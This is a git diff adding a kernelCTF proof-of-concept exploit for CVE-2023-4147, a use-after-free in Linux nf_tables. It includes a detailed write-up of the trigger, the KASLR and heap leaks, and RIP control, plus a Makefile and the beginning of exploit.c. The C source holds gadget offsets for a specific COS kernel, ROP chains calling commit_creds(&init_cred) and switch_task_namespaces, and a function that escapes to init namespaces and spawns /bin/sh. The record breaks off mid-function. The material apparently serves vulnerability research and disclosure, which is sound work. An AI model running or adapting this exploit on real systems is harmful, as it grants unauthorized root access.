diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/docs/exploit.md new file mode 100644 index 00000000..0eb64d31 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/docs/exploit.md @@ -0,0 +1,415 @@ +### Triggering Vulnerability + +`nf_tables_newrule` disallows adding a new rule to the bound chain [1], but when adding a rule with `NFTA_RULE_CHAIN_ID` a rule is added to the bound chain [2]. + +```c +static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info, + const struct nlattr * const nla[]) +{ + ... + + table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask, + NETLINK_CB(skb).portid); + if (IS_ERR(table)) { + NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]); + return PTR_ERR(table); + } + + if (nla[NFTA_RULE_CHAIN]) { + chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN], + genmask); + if (IS_ERR(chain)) { + NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]); + return PTR_ERR(chain); + } + if (nft_chain_is_bound(chain)) // [1] + return -EOPNOTSUPP; + + } else if (nla[NFTA_RULE_CHAIN_ID]) { + chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID]); // [2] + if (IS_ERR(chain)) { + NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]); + return PTR_ERR(chain); + } + } else { + return -EINVAL; + } +``` + +We can trigger the vulnerability in LTS as follows: + +- Create three chains, `Base`, `Vulnerable`, and `Victim`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. If a chain with the `NFT_CHAIN_BINDING` flag set is bound to an immediate expr, when this expr is destroyed, the bound chain and its rules will also be destroyed. +- Create a rule in `Base` with an immediate expr referencing the `Vulnerable`. +- Create a rule in `Vulnerable` with an immediate expr referencing `Victim`. +- Trigger the vulnerability by replacing the rule in `Vulnerable`. This results in the `Victim` having a reference count `(nft_chain->use)` of 0. +- Delete the rule in `Base` to deactivate the `Vulnerable` again. This results in the `Victim` having a reference count `(nft_chain->use)` of -1. + +We can trigger the vulnerability in COS as follows: + +- Create two chains, `Base` and `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. If a chain with the `NFT_CHAIN_BINDING` flag set is bound to an immediate expr, when this expr is destroyed, the bound chain and its rules will also be destroyed. +- Create an anonymous set `Victim`. +- Create a set element in set `Victim`. +- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. +- Create a rule `R2` in `Vulnerable` with an `lookup expr` referencing the `Victim`. +- Delete the `R1`. This results in `Victim` being free from the destroy phase [3]. +- Delete the set element in `Victim`. This results in a UAF that references `Victim` that was freed in previous step [4]. + +```c +static void nft_commit_release(struct nft_trans *trans) +{ + switch (trans->msg_type) { + ... + case NFT_MSG_DELSET: + nft_set_destroy(&trans->ctx, nft_trans_set(trans)); // [3] + break; + case NFT_MSG_DELSETELEM: + nf_tables_set_elem_destroy(&trans->ctx, + nft_trans_elem_set(trans), // [4] + nft_trans_elem(trans).priv); + break; + ... +} +``` + +### LTS Exploit + +#### KASLR Bypass + +The KASLR address is leaked through `chain->name`, which is stored in the verdict data of the immediate expr (`nft_immediate_expr.data.verdict`). The leak process is as follows: + +- Create three chains, `Base`, `Vulnerable`, and `Victim`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. If a chain with the `NFT_CHAIN_BINDING` flag set is bound to an immediate expr, when this expr is destroyed, the bound chain and its rules will also be destroyed. +- Create a rule in `Base` with an immediate expr referencing the `Vulnerable`. +- Create a rule in `Vulnerable` with an immediate expr referencing `Victim`. +- Trigger the vulnerability by replacing the rule in `Vulnerable`. This results in the `Victim` having a reference count `(nft_chain->use)` of 0. +- Delete the rule in `Base` to deactivate the `Vulnerable` again. This results in the `Victim` having a reference count `(nft_chain->use)` of -1. +- Create an immediate expr in `Base` that references to the Victim, making the `Victim`'s reference count `(nft_chain->use)` 0, and destroy the `Victim`. +- Spray counter exprs (struct nft_expr) to place it at `Victim`'s chain->name. At this time, the counter exprs are allocated in the `kmalloc-cg-16`. +- We dump the immediate expr of `Base` using `GETRULE` command, we can get the ops address of counter expr through the freed `chain->name` to get the kernel base address [5]. + +```c +int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v) +{ + struct nlattr *nest; + + nest = nla_nest_start_noflag(skb, type); + if (!nest) + goto nla_put_failure; + + if (nla_put_be32(skb, NFTA_VERDICT_CODE, htonl(v->code))) + goto nla_put_failure; + + switch (v->code) { + case NFT_JUMP: + case NFT_GOTO: + if (nla_put_string(skb, NFTA_VERDICT_CHAIN, + v->chain->name)) // [5] + goto nla_put_failure; + } + nla_nest_end(skb, nest); + return 0; + +nla_put_failure: + return -1; +} +``` + +#### Heap Address Leak + +We leak the heap address in the same way as we leak the kernel base address. To leak the heap address, we sprayed the `nft_rule` instead of counter expr. We place `nft_rule` in freed `Victim`'s `nft_chain->name` and dump the rule of the `Base`. As a result, we can read the heap address stored in `nft_rule->list` through `Victim`'s `nft_chain->name`. We put the address of the `kmalloc-cg-96` object in `list->next` and the address of the `kmalloc-cg-192` object in `list->prev` by creating `nft_rules`. The size of the `nft_rule` can be adjusted by adding multiple `nft_exprs` inside the `nft_rule`. Since data of type string is used for leaking, we repeated the entire exploit until the heap address does not contain null. + +#### RIP Control + +We use `nft_chain->blob_gen_0` to control the RIP. The `nft_chain->blob_gen_0` is used when evaluating packets in the `nft_do_chain` function [6]. + +```c +nft_do_chain(struct nft_pktinfo *pkt, void *priv) +{ + ... +do_chain: + if (genbit) + blob = rcu_dereference(chain->blob_gen_1); + else + blob = rcu_dereference(chain->blob_gen_0); // [6] + + rule = (struct nft_rule_dp *)blob->data; + last_rule = (void *)blob->data + blob->size; +next_rule: + regs.verdict.code = NFT_CONTINUE; + for (; rule < last_rule; rule = nft_rule_next(rule)) { + nft_rule_dp_for_each_expr(expr, last, rule) { + if (expr->ops == &nft_cmp_fast_ops) + nft_cmp_fast_eval(expr, ®s); + else if (expr->ops == &nft_cmp16_fast_ops) + nft_cmp16_fast_eval(expr, ®s); + else if (expr->ops == &nft_bitwise_fast_ops) + nft_bitwise_fast_eval(expr, ®s); + else if (expr->ops != &nft_payload_fast_ops || + !nft_payload_fast_eval(expr, ®s, pkt)) + expr_call_ops_eval(expr, ®s, pkt); + + if (regs.verdict.code != NFT_CONTINUE) + break; + } + ... +``` + +To do this, we assign `chain->blob_gen_0` to `kmalloc-cg-64` and trigger the vulnerability. `chain->blob_gen_0` is allocated in the `nf_tables_chain_alloc_rules` when creating new chain [7]. `chain->blob_gen_0` is allocated from the `nf_tables_chain_alloc_rules` when creating a new chain [5]. + +```c +static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask, + u8 policy, u32 flags, + struct netlink_ext_ack *extack) +{ + ... + data_size = offsetof(struct nft_rule_dp, data); /* last rule */ + blob = nf_tables_chain_alloc_rules(data_size); // [7] + if (!blob) { + err = -ENOMEM; + goto err_destroy_chain; + } +``` + +The size used by `kvmalloc` [8] is 40, `offsetof(struct nft_rule_dp, data)` + `sizeof(struct nft_rule_blob)` + `sizeof(struct nft_rules_old)` (8 + 24 + 8), the `blob` object is allocated in `kmalloc-cg-64`. + +```c +static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size) +{ + struct nft_rule_blob *blob; + + /* size must include room for the last rule */ + if (size < offsetof(struct nft_rule_dp, data)) + return NULL; + + size += sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old); + if (size > INT_MAX) + return NULL; + + blob = kvmalloc(size, GFP_KERNEL_ACCOUNT); // [8] + if (!blob) + return NULL; + + blob->size = 0; + nft_last_rule(blob, blob->data); + + return blob; +} +``` + +We then spray the `udata` of the `struct nft_table` and place it in freed `blob_gen_0`. Finally, when a packet is sent, a sprayed fake ops address is referenced, resulting in RIP control [9]. + +```c +static void expr_call_ops_eval(const struct nft_expr *expr, + struct nft_regs *regs, + struct nft_pktinfo *pkt) +{ +#ifdef CONFIG_RETPOLINE + unsigned long e = (unsigned long)expr->ops->eval; +#define X(e, fun) \ + do { if ((e) == (unsigned long)(fun)) \ + return fun(expr, regs, pkt); } while (0) // [9] + + X(e, nft_payload_eval); + X(e, nft_cmp_eval); + X(e, nft_counter_eval); + X(e, nft_meta_get_eval); + X(e, nft_lookup_eval); + X(e, nft_range_eval); + X(e, nft_immediate_eval); + X(e, nft_byteorder_eval); + X(e, nft_dynset_eval); + X(e, nft_rt_get_eval); + X(e, nft_bitwise_eval); +#undef X +#endif /* CONFIG_RETPOLINE */ + expr->ops->eval(expr, regs, pkt); +} +``` + +#### Post RIP + +Store the ROP payload below to the `kmalloc-cg-96` and `kmalloc-cg-192` addresses leaked above, and execute it. + +```c +void make_payload(uint64_t* data){ + int i = 0; + + data[i++] = kbase + push_rbx_pop_rsp; + + // commit_creds(&init_cred) + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + init_cred_off; + data[i++] = kbase + commit_creds_off; + + // current = find_task_by_vpid(getpid()) + data[i++] = kbase + pop_rdi_ret; + data[i++] = getpid(); + data[i++] = kbase + find_task_by_vpid_off; + + // current += offsetof(struct task_struct, rcu_read_lock_nesting) + data[i++] = kbase + pop_rsi_ret; + data[i++] = 0x474; + data[i++] = kbase + add_rax_rsi_ret; + + data[i++] = kbase + pop_rsp_ret; + data[i++] = heap_addr1+0x20; +} + +void make_payload2(uint64_t* data){ + int i = 0; + + // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) + data[i++] = kbase + pop_rcx_ret; + data[i++] = -0xffff; + data[i++] = kbase + mov_rax_rcx_ret; + + // find_task_by_vpid(1) + data[i++] = kbase + pop_rdi_ret; + data[i++] = 1; + data[i++] = kbase + find_task_by_vpid_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + mov_rdi_rax_ret; + data[i++] = kbase + pop_rsi_ret; + data[i++] = kbase + init_nsproxy_off; + data[i++] = kbase + switch_task_namespaces_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; + data[i++] = 0; // rax + data[i++] = 0; // rdx + data[i++] = _user_rip; // user_rip + data[i++] = _user_cs; // user_cs + data[i++] = _user_rflags; // user_rflags + data[i++] = _user_sp; // user_sp + data[i++] = _user_ss; // user_ss +} +``` + +### COS Exploit + +Starting with commit [4bedf9ee] (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4bedf9eee016286c835e3d8fa981ddece5338795), it is possible to decrease the reference count of the victim chain in `nft_immediate_deactivate` because nft_rule_expr_deactivate is called in `nft_immediate_deactivate`. Therefore, the exploit in LTS kernel was possible using the method described above. However, in previous versions, `nft_immediate_destroy` calls `nft_rule_expr_deactivate`, so the exploit cannot be used in the same way as LTS kernel. Therefore, COS kernel was exploited in a different way than LTS kenel. + +#### Information Leak + +The KASLR address and heap address are leaked through `nft_rule` allocated in `kmalloc-cg-192`. The leak process is as follows: + +- Create four chains, `Base`, `Vulnerable`, `Chain_Victim`, and `Target`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. If a chain with the `NFT_CHAIN_BINDING` flag set is bound to an immediate expr, when this expr is destroyed, the bound chain and its rules will also be destroyed. +- Create chains `Chain_Victim2_n` for the victim rules created in the next step. In this exploit, 0x30 chains are sprayed. +- Create an anonymous rhash set `Set_Victim`. +- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`. + +- Create rules `Rule_Victim2_n` in `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-192`. +- Create rules `Rule_Targret_n` in `Target` with an `last expr`. The rules are allocated in `kmalloc-cg-192`. The kbase and heap address in the `Rule_Targret_n` are used for leak in following step. We can read the target rule allocated right after the `Rule_Victim2_n`. +- Create rules `Rule_Victim_n` in `Chain_Victim` with an `immediate expr` referencing the `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-256`. + +- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. +- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`. We can add the rule to bound chain `Vulnerable` because of the vulnerability. +- Delete the `R1`. When `R1` is destroyed, `nft_immediate_destroy` is called to destroy `R2`, the rule of `Vulnerable` that is bound to `R1`. This results in `Set_Victim` being free in `nft_lookup_destroy` from the destroy phase. +- Delete the set element in `Set_Victim`. This will reference the `Set_Victim` freed in the previous step in the `nf_tables_set_elem_destroy`, causing a UAF. + +```c +static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx, + const struct nft_set *set, void *elem) +{ + struct nft_set_ext *ext = nft_set_elem_ext(set, elem); // [10] + + if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS)) + nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); // [11] + + kfree(elem); +} +``` + +```c +static inline struct nft_set_ext *nft_set_elem_ext(const struct nft_set *set, + void *elem) +{ + return elem + set->ops->elemsize; // [12] +} +``` + +- Spray rhash sets `Set_Spray_n`. When destroying an `nf_tables_set_elem_destroy` element, `nft_set_ext` is used [10], and `nft_set_ext` is retrieved by referencing `set->ops->elemsize` [12]. Thus, a rhash set with `elemsize` of 8 is overwritten by an rbtree set with `elemsize` of 24, causing the `nft_set_elem_expr_destroy` to reference the wrong `nft_set_ext`. We manipulate the offset to destroy the `immedieate expr` in `Rule_Victim_n`, that is allocated after the element, in [11]. This frees `Rule_Victim2_n` of `Chain_Victim2_n` in the `nft_immediate_destroy`. However, `Chain_Victim2_n` and `Rule_Victim2_n` remain accessible. +- Spray fake rules using `nft_table->udata` into freed `Rule_Victim2_n` (`kmalloc-cg-192`). Set `nft_rule->udata` of the fake rule to 1 and `nft_rule->udata->len` to 0xff. +- Get the fake rule will read 0xff bytes start from `nft_rule->udata`. As a result, we can obtain kbase (`nft_last_ops`) and heap address (`nft_rule.list.next` and `nft_rule.list.prev`) of `Rule_Targret_n`. + +#### RIP Control + +- Create two chains, `Base`, `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`. +- Create an anonymous rbtree set `Set_Victim`. +- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`. +- Spray fake exprs using `table->udata` in `kmalloc-cg-256`. +- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`. +- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`. +- Delete the `R1`. This results in `Set_Victim` being free from the destroy phase. +- Delete the set element in `Set_Victim`. This results in a UAF that references `Set_Victim` that was freed in previous step. +- Create rhash sets `Set_Spray_n`. As a result, the RIP is controlled by referencing the fake expr in the `nf_tables_expr_destroy` [13]. + +```c +static void nf_tables_expr_destroy(const struct nft_ctx *ctx, + struct nft_expr *expr) +{ + const struct nft_expr_type *type = expr->ops->type; + + if (expr->ops->destroy) + expr->ops->destroy(ctx, expr); // [13] + module_put(type->owner); +} +``` + +#### Post RIP + +Since RIP control is performed by the destroy worker, we split the ROP into two phases. In the first ROP payload, we overwrite `last_ops` with `fake ops` address. + +```c +void make_payload(uint64_t* data){ + int i = 0; + + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + last_ops_addr_off; + + data[i++] = kbase + pop_rsi_ret; + data[i++] = heap_addr+0x40; // fake ops + data[i++] = kbase + mov_ptr_rdi_rsi; + data[i++] = kbase + msleep_off; + + data[i++] = 0; + data[i++] = kbase + push_rbx_pop_rsp_pop_rbp_ret; + data[i++] = 0; + data[i++] = 0; + data[i++] = 8; // ops.size + data[i++] = kbase + push_rsi_jmp_rsi_f; // ops.init +} +``` + +Then, when generating `last expr`, fake `ops->init` is called and the second ROP payload is executed to get the root shell. + +```c +void make_payload2(uint64_t* data){ + int i = 0; + + // commit_creds(&init_cred) + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + init_cred_off; + data[i++] = kbase + commit_creds_off; + + // find_task_by_vpid(1) + data[i++] = kbase + pop_rdi_ret; + data[i++] = 1; + data[i++] = kbase + find_task_by_vpid_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + mov_rdi_rax_ret; + data[i++] = kbase + pop_rsi_ret; + data[i++] = kbase + init_nsproxy_off; + data[i++] = kbase + switch_task_namespaces_off; + + data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; + data[i++] = 0; // rax + data[i++] = 0; // rdx + data[i++] = _user_rip; // user_rip + data[i++] = _user_cs; // user_cs + data[i++] = _user_rflags; // user_rflags + data[i++] = _user_sp; // user_sp + data[i++] = _user_ss; // user_ss +} +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/docs/vulnerability.md new file mode 100644 index 00000000..656995e0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilities: CAP_NET_ADMIN + - Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d0e2c7de92c7 +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ebc1064e4874d5987722a2ddbc18f94aa53b211 +- Affected Version: v5.9-rc1 - v6.5-rc3 +- Affected Component: net/netfilter +- Syscall to disable: disallow unprivileged username space +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-4147 +- Cause: Use-After-Free +- Description: A use-after-free flaw was found in the Linux kernel's Netfilter functionality when adding a rule with NFTA_RULE_CHAIN_ID. This flaw allows a local user to crash or escalate their privileges on the system. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/Makefile b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/Makefile new file mode 100644 index 00000000..c89f9f51 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/Makefile @@ -0,0 +1,42 @@ +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl +INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include +CFLAGS = -static -s + +exploit: + gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) + +prerequisites: libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cp rule.c $(LIBNFTNL_DIR)/libnftnl-1.2.5/src/ + cp rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/ + cp libnftnl_rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/libnftnl/rule.h + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -f exploit + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/exploit b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/exploit new file mode 100755 index 00000000..0a10d423 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/exploit.c b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/exploit.c new file mode 100644 index 00000000..b460fcf5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/cos-105-17412.101.42/exploit.c @@ -0,0 +1,990 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +uint64_t find_task_by_vpid_off = 0x106810; +uint64_t switch_task_namespaces_off = 0x10e020; +uint64_t commit_creds_off = 0x10f8e0; +uint64_t init_cred_off = 0x2262120; +uint64_t init_nsproxy_off = 0x2261ee0; +uint64_t swapgs_restore_regs_and_return_to_usermode_off = 0x10010c6; +uint64_t nft_last_ops_off = 0x18b4360; +uint64_t msleep_off = 0x16c1c0; +uint64_t last_ops_addr_off = 0x25167e0+0x10; + +// 0xffffffff81e1a809 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82204200 +// 0xffffffff81007ff8 : pop rdi ; jmp 0xffffffff82204200 +// 0xffffffff81037f51 : pop rsi ; jmp 0xffffffff82204200 +// 0xffffffff815da61a : mov rdi, rax ; mov dword ptr [rdx], ecx ; mov rax, rdi ; jmp 0xffffffff82204200 +// 0xffffffff81227f7d : pop rsp ; jmp 0xffffffff82204200 + +// 0xffffffff8106e650 : mov qword ptr [rdi], rsi ; jmp 0xffffffff82204200 +// 0xffffffff81d2b7e8 : push rsi ; jmp qword ptr [rsi + 0xf] +// 0xffffffff81007ff2 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; jmp 0xffffffff82204200 + +uint64_t push_rbx_pop_rsp_pop_rbp_ret = 0xe1a809; +uint64_t pop_rdi_ret = 0x007ff8; +uint64_t pop_rsi_ret = 0x037f51; +uint64_t mov_rdi_rax_ret = 0x5da61a; +uint64_t pop_rsp_ret = 0x227f7d; + +uint64_t mov_ptr_rdi_rsi = 0x06e650; +uint64_t push_rsi_jmp_rsi_f = 0xd2b7e8; +uint64_t pop_rsp_pop_r13_pop_r14_pop_r15_ret = 0x007ff2; + +uint64_t nft_last_ops = 0; +uint64_t kbase = 0; +uint64_t heap_addr = 0; +uint64_t heap_addr1 = 0; +uint64_t heap_addr2 = 0; + +struct mnl_socket * nl; +uint32_t portid; + +void write_file(const char *filename, char *text) { + int fd = open(filename, O_RDWR | O_CREAT, 0644); + + write(fd, text, strlen(text)); + close(fd); +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); +} + +void pwn(){ + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + char *args[] = {"/bin/sh", NULL}; + execve("/bin/sh", args, NULL); + + exit(0); +} + +uint64_t _user_rip = (uint64_t) pwn; +uint64_t _user_cs = 0; +uint64_t _user_rflags = 0; +uint64_t _user_sp = 0; +uint64_t _user_ss = 0; + +void save_state(void) { + __asm__(".intel_syntax noprefix;" + "mov _user_cs, cs;" + "mov _user_ss, ss;" + "mov _user_sp, rsp;" + "pushf;" + "pop _user_rflags;" + ".att_syntax"); + return; +} + +// We can put everthing in the Table1. Just need to change the rule_handle. +char * table1_name = "table1"; +char * table2_name = "table2"; +char * table3_name = "table3"; + +char * chain1_name = "chain1"; +char * chain2_name = "chain2"; +char * chain_victim_name = "chain3"; +char * chain_target_name = "chain4"; + +char * set1_name = "set1"; +char * set_delay_name = "set_delay"; + +uint8_t family = NFPROTO_IPV4; + +void make_payload(uint64_t* data){ + int i = 0; + + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + last_ops_addr_off; + + data[i++] = kbase + pop_rsi_ret; + data[i++] = heap_addr+0x40; // fake ops + data[i++] = kbase + mov_ptr_rdi_rsi; + data[i++] = kbase + msleep_off; + + data[i++] = 0; + data[i++] = kbase + push_rbx_pop_rsp_pop_rbp_ret; + data[i++] = 0; + data[i++] = 0; + data[i++] = 8; // ops.size + data[i++] = kbase + push_rsi_jmp_rsi_f; // ops.init +} + +void make_payload2(uint64_t* data){ + int i = 0; + + // commit_creds(&init_cred) + data[i++] = kbase + pop_rdi_ret; + data[i++] = kbase + init_cred_off; + data[i++] = kbase + commit_creds_off; + + // find_task_by_vpid(1) + data[i++] = kbase + pop_rdi_ret; + data[i++] = 1; + data[i++] = kbase + find_task_by_vpid_off; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + mov_rdi_rax_ret; + data[i++] = kbase + pop_rsi_ret; + data[i++] = kbase + init_nsproxy_off; + data[i++] = kbase + switch_task_namespaces_off; + + data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; + data[i++] = 0; // rax + data[i++] = 0; // rdx + data[i++] = _user_rip; // user_rip + data[i++] = _user_cs; // user_cs + data[i++] = _user_rflags; // user_rflags + data[i++] = _user_sp; // user_sp + data[i++] = _user_ss; // user_ss +} + +#define FAKE_RULE_SPRAY_COUNT 0x80 +#define FAKE_EXPR_SPRAY_COUNT 0x40 + +#define SET_DELAY_ELEM 0x1000 +#define SET_SPRAY_COUNT 50 + +#define VICTIM_SPARY_COUNT 0x30 +#define TARGET_SPRAY_COUNT 0x8 + +#define TABLE_SPRAY 0x80 + +void trig(){ + int chain_id = 31337; + + struct nftnl_table * table1 = nftnl_table_alloc(); + nftnl_table_set_str(table1, NFTNL_TABLE_NAME, table1_name); + nftnl_table_set_u32(table1, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_table * table2 = nftnl_table_alloc(); + nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table2_name); + nftnl_table_set_u32(table2, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_table * table3 = nftnl_table_alloc(); + nftnl_table_set_str(table3, NFTNL_TABLE_NAME, table3_name); + nftnl_table_set_u32(table3, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_chain * chain1 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain1_name); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain2 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain2_name); + nftnl_chain_set_u32(chain2, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING); + nftnl_chain_set_u32(chain2, NFTNL_CHAIN_ID, chain_id); + + struct nftnl_chain * chain_victim = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_victim, NFTNL_CHAIN_TABLE, table2_name); + nftnl_chain_set_str(chain_victim, NFTNL_CHAIN_NAME, chain_victim_name); + nftnl_chain_set_u32(chain_victim, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain_target = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_target, NFTNL_CHAIN_TABLE, table3_name); + nftnl_chain_set_str(chain_target, NFTNL_CHAIN_NAME, chain_target_name); + nftnl_chain_set_u32(chain_target, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_set * set1 = nftnl_set_alloc(); + nftnl_set_set_str(set1, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set1, NFTNL_SET_NAME, set1_name); + nftnl_set_set_u32(set1, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS); + nftnl_set_set_u32(set1, NFTNL_SET_KEY_LEN, 64); + nftnl_set_set_u32(set1, NFTNL_SET_ID, 1337); + + struct nftnl_set * set1_del = nftnl_set_alloc(); + nftnl_set_set_str(set1_del, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set1_del, NFTNL_SET_NAME, set1_name); + + struct nftnl_set * set1_elem = nftnl_set_alloc(); + + nftnl_set_set_str(set1_elem, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set1_elem, NFTNL_SET_NAME, set1_name); + + struct nftnl_set_elem * elem = nftnl_set_elem_alloc(); + + unsigned long key_data[0x100] = {0,}; + + key_data[1] = 0xf800000000; + + char elem_data[0x100] = {0,}; + + nftnl_set_elem_set(elem, NFTNL_SET_ELEM_KEY, &key_data, 0x40); + 